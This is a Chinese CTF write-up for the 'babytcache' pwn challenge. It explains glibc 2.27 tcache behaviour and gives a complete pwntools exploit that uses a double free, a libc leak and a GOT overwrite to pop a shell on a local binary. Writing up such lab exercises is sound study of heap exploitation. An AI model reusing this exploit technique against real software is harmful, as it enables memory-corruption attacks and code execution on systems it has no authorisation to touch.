为了有个高版本的glibc,宿舍感人网速10k/s下了两天下了20%,还是选择在昨天下了一个ubuntu 18,好在这次环境安装异常稳妥,没有任何报错甚至有点不习惯。。。

Tcache

glibc 在2.26之后加入了tcache机制,之前仅仅大略看了下原理,基本没什么保护,这次h4lo大佬给的是tcache的题目,顺便来练练手,因为保护比fastbin还少,所以利用起来也比较简单。

简单来说,tcache相当于插队插在了fastbin 及 smallbin 前面,内部chunk大小不排序,且最多7个,malloc时优先在里面找,free时优先进入tcache,大小都要小于0x408,当然还有一些其他的机制就不多说了

babytcache

题目

三个功能 add delete show

add 最多九个chunk,固定malloc(0x50),指针存放在bss段
delete 检查idx范围,之后仅仅free
show puts指针内容

保护:开了NX 及 Canary,No pie,got表可写

分析

看上去就是个tcache的练手题目,也基本没有检查

2.27版本的 tcache 甚至没有double free检查,也就是说,现在可以在没有其他chunk的情况下free一个chunk多次进入tcache

所以我们的思路很清晰– double free进入bss段,改变指针泄露libc地址

得到libc地址之后复写got表,getshell. (复写free不成功,不太清楚为什么,复写puts没问题)

  • 需要注意的是,tcache中有一个计数的tc_idx,也就是如果采用double free,会造成尝试分配到heap以外的时候,已经是第三次从tcache中取出chunk,而我们之前仅仅往里面放入了两个chunk,这样计数的tc_idx就会变成-1,结果便是我们可能之后无法再次使用tcache,此时free会略过tcache,malloc查询tcache时便会报错。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
#context.log_level = 'debug'

sh = process('./babytcache')
elf = ELF('./babytcache')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

def add(con):
sh.sendlineafter('>','1')
sh.sendlineafter('content:',con)

def delete(idx):
sh.sendlineafter('>','2')
sh.sendlineafter('index:',str(idx))

def show(idx):
sh.sendlineafter('>','3')
sh.sendlineafter('index:',str(idx))


add('aaa')

delete(0)
delete(0)
delete(0)

add(p64(0x6020e0+8))
add('aaa')
add(p64(elf.got['free'])) //保证搞完后tcache没有被破坏

show(1)

free_addr = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))
print 'free_addr: '+hex(free_addr)
system_addr = free_addr - libc.symbols['free'] + libc.symbols['system']
print 'system_addr: '+hex(system_addr)


delete(0)
delete(0)

add(p64(elf.got['puts']))
add('/bin/sh')
add(p64(system_addr)) //这个时候tcache已经坏了,但是不影响我们

show(0)
#gdb.attach(sh)
sh.interactive()